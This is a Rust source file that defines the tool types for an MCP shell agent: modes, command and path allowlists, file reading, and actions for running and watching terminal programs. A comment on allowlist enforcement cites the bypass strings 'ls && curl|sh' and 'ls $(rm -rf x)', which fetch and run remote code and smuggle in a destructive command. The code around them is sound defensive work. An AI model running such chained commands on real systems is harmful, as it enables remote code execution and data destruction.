winx_code_agent/types.rs
1use schemars::JsonSchema;
2use serde::{Deserialize, Serialize};
3
4pub const MAX_NORMALIZED_THREAD_ID_BYTES: usize = 96;
5const THREAD_ID_HASH_SUFFIX_BYTES: usize = 9;
6
7pub fn normalize_thread_id(thread_id: &str) -> String {
8 let filtered: String = thread_id.chars().filter(|c| c.is_alphanumeric() || *c == '_').collect();
9 if filtered.is_empty() {
10 return filtered;
11 }
12
13 // Filtering can collapse distinct ids ("user-1" and "user1"), and a caller
14 // can otherwise create pathologically long state-file names. Preserve safe,
15 // short ids verbatim; every changed or oversized id receives a stable hash of
16 // the ORIGINAL input and a UTF-8-safe prefix bounded to 96 bytes total.
17 if filtered == thread_id && filtered.len() <= MAX_NORMALIZED_THREAD_ID_BYTES {
18 return filtered;
19 }
20
21 let prefix_budget = MAX_NORMALIZED_THREAD_ID_BYTES - THREAD_ID_HASH_SUFFIX_BYTES;
22 let mut prefix = String::with_capacity(prefix_budget);
23 for character in filtered.chars() {
24 if prefix.len() + character.len_utf8() > prefix_budget {
25 break;
26 }
27 prefix.push(character);
28 }
29 format!("{prefix}_{:08x}", fnv1a_32(thread_id))
30}
31
32/// Marker strings (literal or regex) that let `wait_for_turn` drive an arbitrary
33/// interactive TUI without a hand-written recognizer. Loaded from the
34/// `WINX_TURN_RECOGNIZER_CONFIG` env var (JSON) when the recognizer hint is
35/// `configurable`. Each marker is matched case-insensitively; an invalid regex
36/// falls back to a literal-substring match.
37#[derive(Debug, Clone, Default, Deserialize)]
38pub struct TurnRecognizerMarkers {
39 /// Screen is actively working (scanned across the whole screen). E.g.
40 /// `["esc to interrupt", "generating"]`.
41 #[serde(default)]
42 pub busy: Vec<String>,
43 /// Screen is waiting for input (scanned in the tail). E.g. `["❯", "›"]`.
44 #[serde(default)]
45 pub awaiting_input: Vec<String>,
46 /// Screen is asking for confirmation (scanned in the tail). E.g.
47 /// `["do you want", "y/n"]`.
48 #[serde(default)]
49 pub awaiting_approval: Vec<String>,
50}
51
52impl TurnRecognizerMarkers {
53 /// True when no markers are configured (nothing to recognize).
54 pub fn is_empty(&self) -> bool {
55 self.busy.is_empty() && self.awaiting_input.is_empty() && self.awaiting_approval.is_empty()
56 }
57}
58
59/// FNV-1a 32-bit — a tiny, dependency-free hash that is stable across runs and
60/// compiler versions (unlike `DefaultHasher`), so a normalized `thread_id`
61/// resolves to the same session and state file after a server restart.
62fn fnv1a_32(s: &str) -> u32 {
63 let mut hash: u32 = 0x811c_9dc5;
64 for byte in s.bytes() {
65 hash ^= u32::from(byte);
66 hash = hash.wrapping_mul(0x0100_0193);
67 }
68 hash
69}
70
71/// Type of shell environment initialization
72///
73/// This enum represents the different ways the Initialize tool can be called,
74/// depending on the current state of the conversation and what the user is requesting.
75#[derive(Debug, Serialize, Deserialize, JsonSchema, Clone, PartialEq)]
76#[serde(rename_all = "snake_case")]
77pub enum InitializeType {
78 /// Initial call at the start of a conversation
79 ///
80 /// This should be used for the first Initialize call in a conversation.
81 /// It sets up a new shell environment with the specified parameters.
82 FirstCall,
83
84 /// User requested to change the mode
85 ///
86 /// This should be used when the user asks to switch between modes
87 /// (e.g., from "wcgw" to "architect" or "`code_writer`").
88 UserAskedModeChange,
89
90 /// Reset the shell environment due to issues
91 ///
92 /// This should be used only after `BashCommand` reports a shell-runtime failure.
93 /// A repeated reset inside the recovery cooldown preserves the current PTY
94 /// unless a new runtime failure was observed.
95 ResetShell,
96
97 /// User requested to change the workspace
98 ///
99 /// This should be used when the user asks to switch to a different
100 /// workspace or project directory during the conversation.
101 UserAskedChangeWorkspace,
102}
103
104#[derive(Debug, Clone, PartialEq)]
105pub enum ModeName {
106 Wcgw,
107 Architect,
108 CodeWriter,
109}
110
111// Custom serializer implementation to ensure values are properly quoted in JSON
112impl Serialize for ModeName {
113 fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
114 where
115 S: serde::Serializer,
116 {
117 match self {
118 ModeName::Wcgw => serializer.serialize_str("wcgw"),
119 ModeName::Architect => serializer.serialize_str("architect"),
120 ModeName::CodeWriter => serializer.serialize_str("code_writer"),
121 }
122 }
123}
124
125// Custom deserializer to support multiple aliases
126impl<'de> Deserialize<'de> for ModeName {
127 fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
128 where
129 D: serde::Deserializer<'de>,
130 {
131 let s = String::deserialize(deserializer)?;
132 match s.as_str() {
133 "wcgw" => Ok(ModeName::Wcgw),
134 "architect" => Ok(ModeName::Architect),
135 "code_writer" | "code_write" | "code-writer" => Ok(ModeName::CodeWriter),
136 _ => Err(serde::de::Error::custom(format!("Unknown mode name: {s}"))),
137 }
138 }
139}
140
141// Custom JsonSchema (we removed the derive for the hand-written ser/de above).
142// Emit the concrete string enum INLINE — a previous version returned a `$ref` to
143// `#/definitions/ModeName`, a node that was never populated. Lenient clients
144// (Claude Code) ignored the dangling ref, but strict MCP clients (Cline, and
145// likely ChatGPT) reject the whole tool call: "Reference not found:
146// #/definitions/ModeName". The variants mirror the Serialize impl above.
147impl JsonSchema for ModeName {
148 fn schema_name() -> std::borrow::Cow<'static, str> {
149 "ModeName".into()
150 }
151
152 fn json_schema(_gen: &mut schemars::SchemaGenerator) -> schemars::Schema {
153 schemars::json_schema!({
154 "type": "string",
155 "enum": ["wcgw", "architect", "code_writer"],
156 "description": "Shell mode: wcgw (full), architect (read-only), code_writer (custom)"
157 })
158 }
159}
160
161#[derive(Debug, Serialize, Deserialize, JsonSchema, Clone, PartialEq, Default)]
162pub struct CodeWriterConfig {
163 #[serde(default)]
164 pub allowed_globs: AllowedGlobs,
165 #[serde(default)]
166 pub allowed_commands: AllowedCommands,
167}
168
169impl CodeWriterConfig {
170 pub fn update_relative_globs(&mut self, workspace_root: &str) {
171 // Only process if we have a list of globs
172 if let AllowedGlobs::List(globs) = &self.allowed_globs {
173 let updated_globs = globs
174 .iter()
175 .map(|glob| {
176 if std::path::Path::new(glob).is_absolute() {
177 glob.clone()
178 } else {
179 format!("{workspace_root}/{glob}")
180 }
181 })
182 .collect();
183
184 self.allowed_globs = AllowedGlobs::List(updated_globs);
185 }
186 }
187}
188
189#[derive(Debug, Serialize, Deserialize, JsonSchema, Clone, PartialEq)]
190#[serde(untagged)]
191pub enum AllowedGlobs {
192 All(String),
193 List(Vec<String>),
194}
195
196impl Default for AllowedGlobs {
197 fn default() -> Self {
198 AllowedGlobs::All("all".to_string())
199 }
200}
201
202impl AllowedGlobs {
203 /// Collapse the common LLM mistake `["all"]` into the wildcard `All("all")`.
204 /// Without this, a literal glob named "all" would be the only allowed path.
205 pub fn normalize(&mut self) {
206 if let AllowedGlobs::List(items) = self {
207 if items.len() == 1 && items[0] == "all" {
208 *self = AllowedGlobs::All("all".to_string());
209 }
210 }
211 }
212
213 #[allow(dead_code)]
214 pub fn is_allowed(&self, path: &str) -> bool {
215 match self {
216 AllowedGlobs::All(s) if s == "all" => true,
217 AllowedGlobs::List(globs) => globs.iter().any(|g| match glob::Pattern::new(g) {
218 Ok(pattern) => pattern.matches(path),
219 Err(_) => false,
220 }),
221 AllowedGlobs::All(_) => false,
222 }
223 }
224}
225
226#[derive(Debug, Serialize, Deserialize, JsonSchema, Clone, PartialEq)]
227#[serde(untagged)]
228pub enum AllowedCommands {
229 All(String),
230 List(Vec<String>),
231}
232
233impl Default for AllowedCommands {
234 fn default() -> Self {
235 AllowedCommands::All("all".to_string())
236 }
237}
238
239impl AllowedCommands {
240 /// Collapse the common LLM mistake `["all"]` into the wildcard `All("all")`.
241 pub fn normalize(&mut self) {
242 if let AllowedCommands::List(items) = self {
243 if items.len() == 1 && items[0] == "all" {
244 *self = AllowedCommands::All("all".to_string());
245 }
246 }
247 }
248
249 pub fn is_allowed(&self, command_line: &str) -> bool {
250 match self {
251 AllowedCommands::All(s) if s == "all" => true,
252 AllowedCommands::All(_) => false,
253 AllowedCommands::List(commands) => {
254 // Enforce the allowlist against EVERY command the line would run
255 // (pipelines, &&/||/;, command & process substitution, subshells),
256 // not just the first whitespace token — which `ls && curl|sh` and
257 // `ls $(rm -rf x)` trivially bypassed. A parse failure is fail
258 // closed: a restricted mode must not run what it can't vet.
259 match crate::utils::bash_parser::extract_command_texts(command_line) {
260 Ok(cmds) if !cmds.is_empty() => cmds
261 .iter()
262 .all(|cmd| commands.iter().any(|allowed| command_has_prefix(cmd, allowed))),
263 _ => false,
264 }
265 }
266 }
267 }
268}
269
270/// Whether `cmd` is the allowlist entry `allowed` or a sub-invocation of it,
271/// enforcing a word boundary so `ls` does not also permit `lsof`, and
272/// `cargo test` does not permit `cargo testimony`.
273fn command_has_prefix(cmd: &str, allowed: &str) -> bool {
274 let cmd = cmd.trim();
275 let allowed = allowed.trim();
276 if allowed.is_empty() {
277 return false;
278 }
279 cmd == allowed
280 || cmd.strip_prefix(allowed).is_some_and(|rest| rest.starts_with(char::is_whitespace))
281}
282
283/// Parameters for initializing the shell environment
284///
285/// This struct represents the parameters needed to initialize or update the shell environment.
286/// It is used by the Initialize tool, which must be called before any other shell tools.
287#[derive(Debug, Serialize, Deserialize, JsonSchema, Clone)]
288pub struct Initialize {
289 /// Initialization type, indicating the purpose of the call
290 ///
291 /// - `FirstCall`: Initial setup for a new conversation
292 /// - `UserAskedModeChange`: User requested to change the mode during a conversation
293 /// - `ResetShell`: Reset the shell if it's not working properly
294 /// - `UserAskedChangeWorkspace`: User requested to change the workspace during a conversation
295 #[serde(rename = "type")]
296 #[serde(default = "default_init_type")]
297 pub init_type: InitializeType,
298
299 /// Path to the workspace directory or file
300 ///
301 /// Local transports accept an absolute path or one relative to the current directory.
302 /// Remote HTTP sessions require an absolute path so the project identity is unambiguous.
303 /// If it's a file, the parent directory will be used as the workspace.
304 /// If it doesn't exist and is an absolute path, it will be created.
305 /// If it's a relative path and doesn't exist, an error will be returned.
306 pub any_workspace_path: String,
307
308 /// List of files to read initially
309 ///
310 /// These files can be absolute paths or paths relative to the workspace.
311 /// They will be read and their contents provided in the response.
312 #[serde(default)]
313 pub initial_files_to_read: Vec<String>,
314
315 /// ID of a task to resume
316 ///
317 /// If provided during a `first_call`, the task with this ID will be resumed.
318 /// This allows continuing a conversation from a previous session.
319 #[serde(default = "String::new")]
320 #[serde(deserialize_with = "deserialize_string_or_null")]
321 pub task_id_to_resume: String,
322
323 /// Mode name for the shell environment
324 ///
325 /// - `wcgw`: Full permissions (default)
326 /// - `architect`: Restricted permissions, read-only
327 /// - `code_writer`: Custom permissions for code writing
328 #[serde(default = "default_mode_name")]
329 pub mode_name: ModeName,
330
331 /// ID of the thread session
332 ///
333 /// If not provided for a `first_call`, a new ID will be generated.
334 /// This ID must be included in all subsequent tool calls.
335 #[serde(default)]
336 #[serde(deserialize_with = "deserialize_string_or_null")]
337 pub thread_id: String,
338
339 /// Configuration for `code_writer` mode
340 ///
341 /// Only used when `mode_name` is "`code_writer`".
342 /// Specifies allowed commands and file globs for writing/editing.
343 #[serde(default)]
344 #[serde(deserialize_with = "deserialize_code_writer_config")]
345 pub code_writer_config: Option<CodeWriterConfig>,
346}
347
348// Custom deserializer for strings that might be null
349fn deserialize_string_or_null<'de, D>(deserializer: D) -> Result<String, D::Error>
350where
351 D: serde::Deserializer<'de>,
352{
353 // First try to deserialize as a string
354 let result = serde_json::Value::deserialize(deserializer)?;
355
356 match result {
357 // Return empty string for null values
358 serde_json::Value::Null => Ok(String::new()),
359 // If it's a string, use that
360 serde_json::Value::String(s) => {
361 // Handle "null" string specially
362 if s == "null" {
363 Ok(String::new())
364 } else {
365 Ok(s)
366 }
367 }
368 // Otherwise try to convert to a string
369 _ => match serde_json::to_string(&result) {
370 Ok(s) => Ok(s),
371 Err(_) => Ok(String::new()),
372 },
373 }
374}
375
376// Custom deserializer for code_writer_config that handles the "null" string case
377fn deserialize_code_writer_config<'de, D>(
378 deserializer: D,
379) -> Result<Option<CodeWriterConfig>, D::Error>
380where
381 D: serde::Deserializer<'de>,
382{
383 // This handles multiple possible input types
384 let value = serde_json::Value::deserialize(deserializer)?;
385
386 match value {
387 // If it's explicitly null or the string "null", return None
388 serde_json::Value::Null => Ok(None),
389 serde_json::Value::String(s) if s == "null" => Ok(None),
390 // Otherwise try to parse it as CodeWriterConfig
391 _ => {
392 match serde_json::from_value::<CodeWriterConfig>(value.clone()) {
393 Ok(config) => {
394 tracing::debug!("Successfully parsed CodeWriterConfig: {:?}", config);
395 Ok(Some(config))
396 }
397 Err(e) => {
398 // Fail loud. A malformed restricted-mode config must NOT silently
399 // degrade to `None` — `None` falls back to All commands / All globs,
400 // so the model would believe the shell is locked down while it is in
401 // fact wide open. Refuse to initialize instead.
402 tracing::error!("Failed to parse CodeWriterConfig: {}. Value: {}", e, value);
403 Err(serde::de::Error::custom(format!(
404 "Invalid code_writer config: {e}. Refusing to start with a permissive \
405 fallback — fix the allowed_commands / allowed_globs shape (or pass null \
406 to opt out explicitly)."
407 )))
408 }
409 }
410 }
411 }
412}
413
414/// Default `mode_name` for Initialize
415fn default_mode_name() -> ModeName {
416 ModeName::Wcgw
417}
418
419/// Default `init_type` for Initialize
420fn default_init_type() -> InitializeType {
421 InitializeType::FirstCall
422}
423
424// Mode types
425#[derive(Debug, Clone, Copy, PartialEq)]
426pub enum Modes {
427 Wcgw,
428 Architect,
429 CodeWriter,
430}
431
432/// Convert the wire-level `ModeName` (parsed from the `Initialize` request, with
433/// its alias spellings) into the runtime `Modes`. Done as `From` rather than a
434/// hand-written `convert_mode_name` so the compiler enforces that every `ModeName`
435/// variant maps to a `Modes` one — adding a variant to either enum without the
436/// other becomes a compile error here.
437impl From<&ModeName> for Modes {
438 fn from(name: &ModeName) -> Self {
439 match name {
440 ModeName::Wcgw => Modes::Wcgw,
441 ModeName::Architect => Modes::Architect,
442 ModeName::CodeWriter => Modes::CodeWriter,
443 }
444 }
445}
446
447impl std::fmt::Display for Modes {
448 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
449 match self {
450 Modes::Wcgw => write!(f, "wcgw"),
451 Modes::Architect => write!(f, "architect"),
452 Modes::CodeWriter => write!(f, "code_writer"),
453 }
454 }
455}
456
457// Inline string enum, same reasoning as `ModeName` above: a `$ref` to
458// `#/definitions/Modes` was dangling and breaks strict MCP clients.
459impl JsonSchema for Modes {
460 fn schema_name() -> std::borrow::Cow<'static, str> {
461 "Modes".into()
462 }
463
464 fn json_schema(_gen: &mut schemars::SchemaGenerator) -> schemars::Schema {
465 schemars::json_schema!({
466 "type": "string",
467 "enum": ["wcgw", "architect", "code_writer"]
468 })
469 }
470}
471
472/// Special key types for shell interaction
473/// Matches wcgw Python's Specials enum exactly
474#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize, JsonSchema)]
475pub enum SpecialKey {
476 Enter,
477 #[serde(rename = "Key-up")]
478 KeyUp,
479 #[serde(rename = "Key-down")]
480 KeyDown,
481 #[serde(rename = "Key-left")]
482 KeyLeft,
483 #[serde(rename = "Key-right")]
484 KeyRight,
485 #[serde(rename = "Ctrl-c")]
486 CtrlC,
487 #[serde(rename = "Ctrl-d")]
488 CtrlD,
489 #[serde(rename = "Ctrl-z")]
490 CtrlZ,
491}
492
493/// Parameters for the `ReadFiles` tool
494///
495/// This struct represents the parameters needed to read one or more files.
496/// Line ranges can be specified in the path itself (e.g., "file.rs:10-20").
497#[derive(Debug, Clone, Serialize, JsonSchema)]
498pub struct ReadFiles {
499 /// List of file paths to read.
500 /// Supports line range syntax: "file.rs:10-20" for lines 10-20,
501 /// "file.rs:10-" for line 10 onwards, "file.rs:-20" for first 20 lines.
502 pub file_paths: Vec<String>,
503
504 /// Optional thread ID identifying the shell session to operate on. When
505 /// omitted, the most recently active session is used.
506 #[serde(default)]
507 pub thread_id: String,
508
509 // Internal fields - not part of MCP schema (parsed from file_paths)
510 #[serde(skip)]
511 #[schemars(skip)]
512 pub start_line_nums: Vec<Option<usize>>,
513
514 #[serde(skip)]
515 #[schemars(skip)]
516 pub end_line_nums: Vec<Option<usize>>,
517}
518
519// Custom deserializer for ReadFiles - parses line ranges from file paths like wcgw Python
520impl<'de> Deserialize<'de> for ReadFiles {
521 fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
522 where
523 D: serde::Deserializer<'de>,
524 {
525 #[derive(Deserialize)]
526 struct ReadFilesHelper {
527 file_paths: Option<Vec<String>>,
528 #[serde(default)]
529 thread_id: Option<String>,
530 }
531
532 let input = serde_json::Value::deserialize(deserializer)?;
533
534 if !input.is_object() {
535 if input.is_null() {
536 return Err(serde::de::Error::custom("Cannot convert null to ReadFiles object."));
537 }
538 return Err(serde::de::Error::custom(format!("Expected object, got {input}")));
539 }
540
541 let helper: ReadFilesHelper = serde_json::from_value(input)
542 .map_err(|e| serde::de::Error::custom(format!("Failed to parse ReadFiles: {e}")))?;
543
544 let thread_id = helper.thread_id.unwrap_or_default();
545 let file_paths = match helper.file_paths {
546 Some(paths) if !paths.is_empty() => paths,
547 Some(_) => return Err(serde::de::Error::custom("file_paths must not be empty.")),
548 None => return Err(serde::de::Error::custom("file_paths is required.")),
549 };
550
551 // Parse line ranges from file paths (like wcgw Python's model_post_init)
552 let mut clean_file_paths = Vec::with_capacity(file_paths.len());
553 let mut start_line_nums = Vec::with_capacity(file_paths.len());
554 let mut end_line_nums = Vec::with_capacity(file_paths.len());
555
556 for path in file_paths {
557 let (clean_path, start, end) = parse_file_path_with_line_range(&path);
558 clean_file_paths.push(clean_path);
559 start_line_nums.push(start);
560 end_line_nums.push(end);
561 }
562
563 Ok(ReadFiles { file_paths: clean_file_paths, thread_id, start_line_nums, end_line_nums })
564 }
565}
566
567fn parse_file_path_with_line_range(path: &str) -> (String, Option<usize>, Option<usize>) {
568 let Some((potential_path, line_spec)) = path.rsplit_once(':') else {
569 return (path.to_string(), None, None);
570 };
571
572 let Some((start, end)) = parse_line_spec(line_spec) else {
573 return (path.to_string(), None, None);
574 };
575
576 (potential_path.to_string(), start, end)
577}
578
579fn parse_line_spec(line_spec: &str) -> Option<(Option<usize>, Option<usize>)> {
580 if line_spec.chars().all(|c| c.is_ascii_digit()) {
581 return line_spec.parse().ok().map(|line| (Some(line), None));
582 }
583
584 let (start, end) = line_spec.split_once('-')?;
585
586 if start.is_empty() && !end.is_empty() && end.chars().all(|c| c.is_ascii_digit()) {
587 return end.parse().ok().map(|line| (None, Some(line)));
588 }
589
590 if !start.is_empty()
591 && start.chars().all(|c| c.is_ascii_digit())
592 && (end.is_empty() || end.chars().all(|c| c.is_ascii_digit()))
593 {
594 let start = start.parse().ok()?;
595 let end = if end.is_empty() { None } else { Some(end.parse().ok()?) };
596 return Some((Some(start), end));
597 }
598
599 None
600}
601
602impl ReadFiles {
603 /// Line numbers are always shown (like wcgw Python)
604 pub fn show_line_numbers(&self) -> bool {
605 true
606 }
607
608 /// Get the clean file path without line range suffix
609 pub fn get_clean_path(&self, index: usize) -> String {
610 parse_file_path_with_line_range(&self.file_paths[index]).0
611 }
612}
613
614/// Default true value for `status_check`
615fn default_true() -> bool {
616 true
617}
618
619/// Types of actions that can be performed with the `BashCommand` tool
620#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
621#[serde(tag = "type", rename_all = "snake_case")]
622pub enum BashCommandAction {
623 /// Execute a shell command
624 Command {
625 command: String,
626 #[serde(default)]
627 is_background: bool,
628 /// Opt out of the single-top-level-statement guard. By default winx
629 /// rejects multi-statement commands (`a; b`, `a && b; c`, etc.) so the
630 /// agent has to be explicit about what it's running. Set this to true
631 /// when you knowingly want to run a composite command without
632 /// wrapping it in `bash -lc '...'`.
633 #[serde(default)]
634 allow_multi: bool,
635 },
636
637 /// Check the status of a running command.
638 ///
639 /// By default returns only what changed since the previous call — agents
640 /// driving long-lived TUIs do not need the cumulative buffer on every poll.
641 /// Set `verbose: true` to receive a fresh snapshot regardless of the dedup
642 /// hash, or `scrollback_lines: Some(N)` to also pull the last N lines from
643 /// the PTY ringbuffer.
644 StatusCheck {
645 #[serde(default = "default_true")]
646 status_check: bool,
647 bg_command_id: Option<String>,
648 #[serde(default)]
649 scrollback_lines: Option<usize>,
650 #[serde(default)]
651 verbose: bool,
652 },
653
654 /// Send text to a running command. Set `submit` to true to append a carriage
655 /// return after the bytes so the target program receives the input as a
656 /// completed line (matches what hitting Enter would do in a TUI).
657 SendText {
658 /// Text to type into the running program. Must be non-empty: to press
659 /// Enter alone, use `send_specials: ["Enter"]` instead.
660 #[schemars(length(min = 1))]
661 send_text: String,
662 bg_command_id: Option<String>,
663 #[serde(default)]
664 submit: bool,
665 },
666
667 /// Send special keys to a running command. `submit` works the same as in
668 /// `SendText`.
669 SendSpecials {
670 send_specials: Vec<SpecialKey>,
671 bg_command_id: Option<String>,
672 #[serde(default)]
673 submit: bool,
674 },
675
676 /// Send ASCII characters to a running command. `submit` works the same as in
677 /// `SendText`.
678 SendAscii {
679 send_ascii: Vec<u8>,
680 bg_command_id: Option<String>,
681 #[serde(default)]
682 submit: bool,
683 },
684
685 /// Snapshot the live, stable screen of a shell's terminal: the consolidated
686 /// view a human would see right now (cursor moves, redraws, alternate-screen
687 /// and synchronized-output already applied), ANSI stripped. Unlike
688 /// `status_check`, it never stacks redraw generations and never waits — a
689 /// point-in-time photo, ideal for reading an interactive TUI's current frame
690 /// (the `claude` CLI, vim, htop, fzf).
691 Screen {
692 #[serde(default = "default_true")]
693 screen: bool,
694 bg_command_id: Option<String>,
695 /// Last N visible lines to return (0 or omitted = full screen buffer).
696 #[serde(default)]
697 lines: Option<usize>,
698 /// When true, return only the lines that CHANGED since the last `screen`
699 /// look (big token savings when polling a TUI frame-by-frame) instead of
700 /// the whole frame. First look, or a large change, still returns full.
701 #[serde(default)]
702 diff: bool,
703 },
704
705 /// Block until an interactive TUI finishes its turn and is ready for input.
706 /// Combines generic quiescence (the screen stopped changing for `quiet_ms`)
707 /// with a per-app recognizer, then returns the stable snapshot plus the
708 /// detected turn state (`busy` / `awaiting_input` / `awaiting_approval`).
709 WaitForTurn {
710 #[serde(default = "default_true")]
711 wait_for_turn: bool,
712 bg_command_id: Option<String>,
713 /// Recognizer hint: `auto` (default, claude+codex), `generic`, or any
714 /// bundled agent-manifest id/alias — `claude`, `codex`, `gemini`,
715 /// `antigravity` (aka `agy`), `cursor`, `opencode`, `copilot`, `grok`,
716 /// `amp`, `droid`, `kimi`, `pi`, `qwen`, and more.
717 #[serde(default)]
718 recognizer: Option<String>,
719 /// Quiet window in ms — the screen must be unchanged this long to count
720 /// as idle (default 600).
721 #[serde(default)]
722 quiet_ms: Option<u64>,
723 /// Hard cap in seconds before returning regardless (default 30).
724 #[serde(default)]
725 timeout_seconds: Option<f32>,
726 /// Visible lines to return in the final snapshot (0 or omitted = full).
727 #[serde(default)]
728 lines: Option<usize>,
729 /// By default `wait_for_turn` returns as soon as it confirms the app is
730 /// actively working (`busy`), instead of blocking until the turn ends or
731 /// `timeout_seconds` elapses — so a long-running child never pins the
732 /// caller for the whole cap (poll again to keep watching). Set this to
733 /// true for the old behavior: block *through* `busy` until the app is
734 /// ready for input (or the timeout fires).
735 #[serde(default)]
736 wait_through_busy: bool,
737 },
738}
739
740/// Parameters for the `BashCommand` tool
741#[derive(Debug, Clone, Copy, Default, Eq, PartialEq, Serialize, Deserialize, JsonSchema)]
742#[serde(rename_all = "snake_case")]
743pub enum BashWaitPolicy {
744 /// Wait for a bounded inline window. Task-capable clients keep short calls
745 /// inline and promote a command only after the runtime reports it running.
746 #[default]
747 Adaptive,
748 /// Always return the runtime state after a short bounded wait. This policy
749 /// never creates an MCP Task.
750 ReturnEarly,
751 /// Prefer one result after the command exits. Task-capable clients receive
752 /// an MCP Task immediately; other clients receive a bounded synchronous wait.
753 UntilComplete,
754}
755
756/// Parameters for the `BashCommand` tool
757#[derive(Debug, Clone, Serialize, JsonSchema)]
758pub struct BashCommand {
759 /// The action to perform (command, status check, etc.)
760 pub action_json: BashCommandAction,
761
762 /// Requested inline wait in seconds. With the default adaptive policy this
763 /// defaults to 15 without Tasks and is capped to the short promotion window
764 /// with Tasks; `return_early` caps it at 5; the synchronous `until_complete`
765 /// fallback uses 60. Runtime waits never exceed the selected policy's cap.
766 #[serde(default)]
767 #[serde(skip_serializing_if = "Option::is_none")]
768 pub wait_for_seconds: Option<f32>,
769
770 /// The thread ID for this session
771 #[serde(default)]
772 pub thread_id: String,
773}
774
775// Custom deserialization for BashCommand to handle string-encoded action_json
776impl<'de> Deserialize<'de> for BashCommand {
777 fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
778 where
779 D: serde::Deserializer<'de>,
780 {
781 let input = serde_json::Value::deserialize(deserializer)?;
782 let serde_json::Value::Object(mut map) = input else {
783 return Err(serde::de::Error::custom("BashCommand parameters must be an object."));
784 };
785
786 let wait_for_seconds = map
787 .remove("wait_for_seconds")
788 .map(serde_json::from_value)
789 .transpose()
790 .map_err(serde::de::Error::custom)?;
791 // `wait_policy` is an MCP adapter concern rather than stored command
792 // state. Validate it here for direct deserializers, then keep the public
793 // `BashCommand` shape source-compatible for library callers.
794 map.remove("wait_policy")
795 .map(serde_json::from_value::<BashWaitPolicy>)
796 .transpose()
797 .map_err(serde::de::Error::custom)?;
798 let thread_id = map
799 .remove("thread_id")
800 .map(thread_id_from_value)
801 .transpose()
802 .map_err(serde::de::Error::custom)?
803 .unwrap_or_default();
804 let action_json_value = map.remove("action_json").unwrap_or(serde_json::Value::Object(map));
805
806 // Process action_json which could be a string or an object
807 let action_json = match action_json_value {
808 serde_json::Value::String(s) => {
809 // If it's a string, normalize newlines and try to parse it as JSON
810 // Replace literal newlines with space to avoid JSON parsing errors
811 let sanitized = s.replace('\n', " ");
812 match serde_json::from_str(&sanitized) {
813 Ok(json) => normalize_action_json(json),
814 Err(e) => {
815 // If strict JSON parsing fails, try to be more lenient
816 // For commands containing literal newlines, just wrap the string in a command object
817 tracing::warn!(
818 "Failed to parse action_json as JSON, trying fallback: {}",
819 e
820 );
821
822 // Check for common JSON syntax issues
823 if s.contains("command") && s.contains('{') && s.contains('}') {
824 // It looks like JSON but has issues, let's try to sanitize it
825
826 // Detailed error for troubleshooting
827 tracing::debug!(bytes = s.len(), "JSON parse error in action_json");
828
829 // Common issues: unescaped quotes, newlines, tabs
830 let re_sanitized = s
831 .replace('\n', "\\n") // Replace newlines with escaped newlines
832 .replace('\r', "\\r") // Replace carriage returns with escaped versions
833 .replace('\t', "\\t"); // Replace tabs with escaped versions
834
835 // Attempt to fix unquoted field values (e.g., convert {field: value} to {"field": "value"})
836 let re_sanitized = if !s.contains('"') && s.contains(':') {
837 // Very likely unquoted keys/values
838 tracing::debug!("Attempting to fix unquoted JSON keys/values");
839 re_sanitized
840 } else {
841 re_sanitized
842 };
843
844 match serde_json::from_str(&re_sanitized) {
845 Ok(json) => normalize_action_json(json),
846 Err(err) => {
847 // Log the specific parsing error for debugging
848 tracing::error!("Secondary JSON parse error: {}", err);
849 // Last resort fallback - assume it's a command string
850 // MUST include "type": "command" for serde tagged enum
851 serde_json::json!({"type": "command", "command": sanitize_shell_string(&s)})
852 }
853 }
854 } else {
855 // Assume it's a simple command string
856 // MUST include "type": "command" for serde tagged enum
857 tracing::info!(
858 bytes = s.len(),
859 "Treating action_json as simple command"
860 );
861 serde_json::json!({"type": "command", "command": sanitize_shell_string(&s)})
862 }
863 }
864 }
865 }
866 // If it's already an object or other JSON value, normalize legacy
867 // WCGW-style shorthand such as {"command": "..."}.
868 value => normalize_action_json(value),
869 };
870
871 // Now deserialize the action_json to our BashCommandAction enum
872 let action: BashCommandAction =
873 serde_json::from_value(action_json.clone()).map_err(|e| {
874 tracing::error!(
875 bytes = action_json.to_string().len(),
876 "Failed to deserialize action_json to BashCommandAction: {}",
877 e
878 );
879
880 // For the SyntaxError: Unexpected token case
881 let err_str = e.to_string();
882 if err_str.contains("unexpected token") || err_str.contains("Unexpected token") {
883 return serde::de::Error::custom(format!(
884 "JSON syntax error: {e}. Please check your JSON structure. Each field name should be in quotes, and string values should be in quotes."
885 ));
886 }
887
888 serde::de::Error::custom(format!(
889 "Invalid action_json: {e}. Please ensure your JSON is properly formatted."
890 ))
891 })?;
892
893 // Return the properly constructed BashCommand
894 Ok(BashCommand {
895 action_json: action,
896 wait_for_seconds,
897 thread_id: normalize_thread_id(&thread_id),
898 })
899 }
900}
901
902fn thread_id_from_value(value: serde_json::Value) -> std::result::Result<String, String> {
903 match value {
904 serde_json::Value::Null => Ok(String::new()),
905 serde_json::Value::String(value) => Ok(value),
906 other => Err(format!("thread_id must be a string or null, got {other}")),
907 }
908}
909
910fn normalize_action_json(mut value: serde_json::Value) -> serde_json::Value {
911 let serde_json::Value::Object(map) = &mut value else {
912 return value;
913 };
914
915 if let Some(serde_json::Value::String(command)) = map.get_mut("command") {
916 *command = sanitize_shell_string(command);
917 }
918
919 if map.contains_key("type") {
920 return value;
921 }
922
923 let inferred_type = if map.contains_key("command") {
924 Some("command")
925 } else if map.contains_key("status_check") {
926 Some("status_check")
927 } else if map.contains_key("send_text") {
928 Some("send_text")
929 } else if map.contains_key("send_specials") {
930 Some("send_specials")
931 } else if map.contains_key("send_ascii") {
932 Some("send_ascii")
933 } else if map.contains_key("screen") {
934 Some("screen")
935 } else if map.contains_key("wait_for_turn") {
936 Some("wait_for_turn")
937 } else {
938 None
939 };
940
941 if let Some(action_type) = inferred_type {
942 map.insert("type".to_string(), serde_json::Value::String(action_type.to_string()));
943 }
944
945 value
946}
947
948fn sanitize_shell_string(value: &str) -> String {
949 value.replace('\0', "\\x00")
950}
951
952// Bash command mode
953#[derive(Debug, Clone, JsonSchema, PartialEq)]
954pub struct BashCommandMode {
955 pub bash_mode: BashMode,
956 pub allowed_commands: AllowedCommands,
957}
958
